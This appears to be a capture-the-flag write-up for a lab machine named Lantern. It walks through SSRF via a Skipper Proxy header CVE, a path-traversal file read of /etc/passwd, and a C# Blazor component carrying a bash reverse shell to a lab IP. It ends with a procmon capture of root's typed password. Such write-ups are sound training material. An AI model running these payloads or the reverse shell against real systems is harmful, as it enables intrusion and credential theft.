Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp open http Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
|_http-server-header: Skipper Proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Length: 207
| Content-Type: text/html; charset=utf-8
| Date: Tue, 15 Oct 2024 14:17:27 GMT
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 225
| Content-Type: text/html; charset=utf-8
| Date: Tue, 15 Oct 2024 14:17:22 GMT
| Location: http://lantern.htb/
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: HEAD, OPTIONS, GET
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Tue, 15 Oct 2024 14:17:22 GMT
|_ Server: Skipper Proxy
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 500 Internal Server Error
| Connection: close
| Content-Type: text/plain; charset=utf-8
| Date: Tue, 15 Oct 2024 14:17:27 GMT
| Server: Kestrel
| System.UriFormatException: Invalid URI: The hostname could not be parsed.
| System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
| System.Uri..ctor(String uriString, UriKind uriKind)
| Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
| Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
| HTTPOptions:
| HTTP/1.1 200 OK
| Content-Length: 0
| Connection: close
| Date: Tue, 15 Oct 2024 14:17:32 GMT
| Server: Kestrel
| Help:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Tue, 15 Oct 2024 14:17:27 GMT
| Server: Kestrel
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Length: 0
| Connection: close
| Date: Tue, 15 Oct 2024 14:17:32 GMT
| Server: Kestrel
| SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Tue, 15 Oct 2024 14:17:48 GMT
|_ Server: Kestrel
The nmap scan found two web ports, 80 and 3000. Both of those have an interesting server header, Skipper Proxy
and Kestrel
respectively. There’s also a redirect to lantern.htb
so I’ll add this to my /etc/hosts
file.
HTTP (3000)
Browsing to port 3000 only shows a login prompt to LanternAdmin but none of the default credentials or simple authentication bypasses work. Within the HTML code of the pages I find a reference to blazor.server.js
. This and the usage of Kestrel as server hints towards Blazor in Server mode.
HTTP (80)
The page on port 80 describes services offered by a company and it also lists open vacancies where I could apply by uploading my resume. Uploading a PDF file seems to work and I put multiple XSS
payloads into the available fields, but get no callbacks.
Initial Access
Based on the Server: Skipper Proxy
header in the response from the server I look for known exploits even though it does not expose a version number. I quickly find CVE-2022-38580 where one can perform SSRF
through the X-Skipper-Proxy
header in the request. Using http://10.10.10.10
as value generates a hit on my server.
This allows me to enumerate open ports on the internal network. Trying to access a (probably) closed port like 1337 returns 503 as status code, non-HTTP ports like 22 return 500 and otherwise I do get the HTTP response back. Checking the first 10000 ports returns 22, 80, 3000, 5000 and 8000.
ffuf -w <(for i in {1..10000}; do echo $i; done) \
-u http://lantern.htb/ \
-H 'X-Skipper-Proxy: http://127.0.0.1:FUZZ'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://lantern.htb/
:: Wordlist : FUZZ: /proc/self/fd/12
:: Header : X-Skipper-Proxy: http://127.0.0.1:FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
22 [Status: 500, Size: 22, Words: 3, Lines: 2, Duration: 67ms]
80 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 59ms]
3000 [Status: 200, Size: 2837, Words: 334, Lines: 58, Duration: 73ms]
5000 [Status: 200, Size: 1669, Words: 389, Lines: 50, Duration: 69ms]
8000 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 42ms]
The only new port is 5000, because 80 is the reverse proxy and 8000 the backend webserver, and querying the port through BurpSuite shows InternalLantern
and references to Blazor again. This time it loads blazor.webassembly.js
, so it might be the WebAssembly variant.
The file /_framework/blazor.boot.json
contains a list of resources that need to be downloaded for the app to function1. Requesting this file through Burp might reveal interesting DLLs
to download and inspect. Besides the Microsoft DLLs there’s also InternaLatern.dll
, that I decide to download.
curl -H 'X-Skipper-Proxy: http://127.0.0.1:5000' \
-o InternaLantern.dll \
http://lantern.htb/_framework/InternaLantern.dll
Even though I could use tools to decompile the code, I start with floss to look for strings within the binary. In contrast to the regular strings, it attempts to deobfuscate code and also checks for strings in UTF-16LE encoding.
./floss InternaLantern.dll
WARNING: floss: .NET language-specific string extraction is not supported yet
WARNING: floss: FLOSS does NOT attempt to deobfuscate any strings from .NET binaries
Do you want to enable string deobfuscation? (this could take a long time) [y/N] N
INFO: floss: disabled string deobfuscation
INFO: floss: extracting static strings
INFO: floss: finished execution after 1.12 seconds
INFO: floss: rendering results
FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)
+------------------------+------------------------------------------------------------------------------------+
| file path | InternaLantern.dll |
| identified language | dotnet (version unknown) |
| extracted strings | |
| static strings | 818 (16531 characters) |
| language strings | 0 ( 0 characters) |
| stack strings | Disabled |
| tight strings | Disabled |
| decoded strings | Disabled |
+------------------------+------------------------------------------------------------------------------------+
--- SNIP ---
Data.db
JFMDK
John
Smith
SGVhZCBvZiBzYWxlcyBkZXBhcnRtZW50LCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBqb2huLnNAZXhhbXBsZS5jb20=
PPAOS
Anny
Turner
SFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGFubnkudEBleGFtcGxlLmNvbQ==
UAYWP
Catherine
Rivas
RnVsbFN0YWNrIGRldmVsb3BlciwgZW1lcmdlbmN5IGNvbnRhY3Q6ICs0NDEyMzQ1Njc4LCBlbWFpbDogY2F0aGVyaW5lLnJAZXhhbXBsZS5jb20=
GMNZQ
Lara
Snyder
UFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGxhcmEuc0BleGFtcGxlLmNvbQ==
XZCSF
Lila
Steele
SnVuaW9yIC5ORVQgZGV2ZWxvcGVyLCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBsaWxhLnNAZXhhbXBsZS5jb20=
POMBS
Travis
Duarte
U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE=
SELECT Id, Name, SecondName FROM employees WHERE Uid = '
--- SNIP ---
The strings that come back kind of resemble a database and decoding the base64 strings shows context information for the users. Especially the last strings is interesting because it contains the credentials admin:AJbFA_Q@925p9ap#22
, belonging to a System Administrator.
$ base64 -d <<< "U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE="
System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!
Using those credentials to log in on port 3000 works and I get access to the Admin Dashboard as Travis Duarte. There are multiple features available in the menu:
- Files: File tree starting on
/var/www/sites/lantern.htb
with access to the file contents - Upload Content: Upload of customer avatars into
/var/www/sites/lantern.htb/static/images
- Health check: Monitoring of the main page
- Logs: Access to the application logs
- Uploaded resumes: The resumes that were uploaded on the main page
Execution
The only interesting file to read through Files is app.py
. It’s the source code of the application running behind the proxy on port 80 and shows an additional endpoint /PrivacyAndPolicy
that was not visible before. It does take two parameters, lang
and ext
, and passes them without any sanitization to send_file()
. This allows me to read any file on the system as long as the user running the code has access to it.
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os
app=Flask("__name__")
@app.route('/')
def index():
if request.headers['Host'] != "lantern.htb":
return redirect("http://lantern.htb/", code=302)
return render_template("index.html")
@app.route('/vacancies')
def vacancies():
return render_template('vacancies.html')
@app.route('/submit', methods=['POST'])
def save_vacancy():
name = request.form.get('name')
email = request.form.get('email')
vacancy = request.form.get('vacancy', default='Middle Frontend Developer')
if 'resume' in request.files:
try:
file = request.files['resume']
resume_name = file.filename
if resume_name.endswith('.pdf') or resume_name == '':
filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
upload_folder = os.path.join(os.getcwd(), 'uploads')
destination = '/'.join([upload_folder, filename])
file.save(destination)
else:
return "Only PDF files allowed!"
except:
return "Something went wrong!"
return "Thank you! We will conact you very soon!"
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000)
Considering the .
is mandatory, I have to get creative to read /etc/passwd
. Luckily I already know a path containing a literal dot from the Files feature. But before hunting for files, I’ll finish up looking at the admin dashboard.
Hint
Using on of the dots from the path traversal also works, so the
.
in the folder name is just one way to do it ;)
$ curl 'http://lantern.htb/PrivacyAndPolicy?lang=../lantern&ext=htb/../../../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www/sites:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
tomas:x:1000:1000:tomas:/home/tomas:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false
Apart from choosing a module from the sidebar, I can also search for them. Adding a single letter in the search box already shows auto-complete suggestions and pressing enter on a non-existing module returns an error message leaking the path to the modules: /opt/compontents/{name}.dll
.
As I already have a way to download files from the system I decide to retrieve FileUpload.dll
and have a closer look at it with dnSpy.
curl 'http://lantern.htb/PrivacyAndPolicy?lang=../lantern&ext=htb/../../../../opt/components/FileUpload.dll' \
-o FileUpload.dll
Inspecting the code does not reveal any juicy information but shows traces of the Microsoft.AspNetCore.Components Namespace. If I can create my own DLL and upload it to the server, I might be able to chain this into code execution.
First I create a new classlib
called bash
with dotnet. This creates a new folder with a stub Class1.cs
. Then I add the necessary dependencies for AspNetCore.Components.
dotnet new classlib -n bash
cd bash
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0
Next I’ll add the structure from the decompiled DLL and a reverse shell to Class1.cs, before building the library with dotnet build -c release
.
using System;
using System.Diagnostics;
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
namespace bash
{
public class Component : ComponentBase
{
protected override void BuildRenderTree(RenderTreeBuilder __builder)
{
Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "bash";
proc.StartInfo.Arguments = "-c \"bash -i >& /dev/tcp/10.10.10.10/9001 0>&1\"";
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
while (!proc.StandardOutput.EndOfStream) {
Console.WriteLine(proc.StandardOutput.ReadLine());
}
}
}
}
Navigating to the Upload content view, I’ll set BurpSuite to intercept the request and pick the compiled DLL. Right after choosing the file I can see a new request with some gibberish payload where I can spot the string bash.dll
.
Blazor is using serialized data to communicate and with the extension Blazor Traffic Processor it can be decoded easily. The data sent to the server is a serialized JSON object where I modify the name of the file to include a path traversal to /opt/compontents
.
Generating serialized data again and replacing the original payload with it, the request is forwarded and a success message is shown on the upload page.
Searching for my DLL (bash) generates a new hit on my listener with a reverse shell as tomas
and access to the first flag. The shell is somewhat unstable but there’s also a SSH key available.
Privilege Escalation
The user tomas
is able to run /usr/bin/procmon
as anyone root. ProcMon for Linux is the linux port of the Microsft Internal variant and can be used to trace system calls.
sudo -l
Matching Defaults entries for tomas on lantern:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tomas may run the following commands on lantern:
(ALL : ALL) NOPASSWD: /usr/bin/procmon
Poking around more on the system I find a mail from the human resources department welcoming tomas as new hire. He’s supposed to check out the admin’s work on /root/automation.sh
, but that’s inaccessible for me.
From hr@lantern.htb Mon Jan 1 12:00:00 2023
Subject: Welcome to Lantern!
Hi Tomas,
Congratulations on joining the Lantern team as a Linux Engineer! We're thrilled to have you on board.
While we're setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you'll have all the access you need.
Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.
Exciting times ahead!
Best.
Having a look at the currently running processes reveals that root is editing the file with nano and this means I can potentially see some artifacts with procmon.
ps -e -o user,pid,ppid,cmd
--- SNIP ---
root 3975 1 /usr/bin/expect -f /root/bot.exp
root 3977 3975 nano /root/automation.sh
--- SNIP ---
The PID of the processes changes after a bit, leading me to believe that it’s necessary to catch the start of the editing. A quick script that starts to trigger procmon when there’s a new PID is starting the capture automatically. After a few minutes, the counter of the captured events does not increase anymore and I stop the program with Ctrl+C
.
In order to have a better look at the data I transfer the SQLite3 database out.db
with scp to my host.
#!/usr/bin/env bash
current_pid=$(pgrep nano)
echo "Currently running as PID ${current_pid}"
while /bin/true
do
new_pid=$(pgrep nano)
if [[ $current_pid -ne $new_pid ]];
then
echo "Now running as PID ${new_pid}"
break
fi
sleep 0.5
done
# Only capture write events
sudo /usr/bin/procmon -p "${new_pid}" -e write -c out.db
There are three tables inside the database, stats, metadata and ebpf
, that actually holds the interesting data. When writing data, the return code code resembles the number of bytes that were written and -1 in case of an error2. This means I can filter for all events with a code larger than 0. The data in the arguments
column is stored as blob3, so it’s best to cast it to hex.
SELECT hex(arguments) FROM ebpf WHERE resultcode > 0;
--- SNIP ---
0100000000000000705B3F3235681B28426563686F34432842205265000100000000000000A0C53F87DF5500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
01000000000000001B5B3F3235681B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
01000000000000004D5B3F3235681B28426563686F34432842205265000100000000000000A0C53F87DF5500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
The first argument passed to the write
function is the file descriptor and is then followed by a pointer to the actual buffer. This means I have to drop the first 8 characters and then read the number of bytes written (resultcode).
sqlite3 out.db \
"SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;" \
| xxd -ps -r
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
echo Q 33EEddddttddww33ppMMBB | s uuddoo . //bbaacckkuupp..sshh
Decoding the data with xxd
reveals a string passed to a script. I’ll make an educated guess and say it’s a password and it looks like if the characters are duplicated. Removing every second character returns Q3Eddtdw3pMB
.
This password works for root
and I can read the final flag.
Attack Path
flowchart TD subgraph "Initial access" A(SSRF) -->|"CVE-2022-38580\nEnumerate Local Ports"| B(Access to internal port 5000) B -->|Enumerate Blazor Application| C(Access to DLLs) C -->|DLL includes DB with Credentials| D(Access to Admin Dashboard) D -->|FileViewer| E(Access to Source Code) end subgraph "Execution" E -->|Identify LFI| F(Download Modules as DLL) F -->|Path Traversal in Upload Function| G(Upload malicious module) G -->|Call Module| H(Shell as tomas) end subgraph "Privilege Escalation" H -->|Find local mail| I(Hint towards automation script) I -->|Procmon to capture events| J(Capture file writes with root password) J --> L(Shell as root) end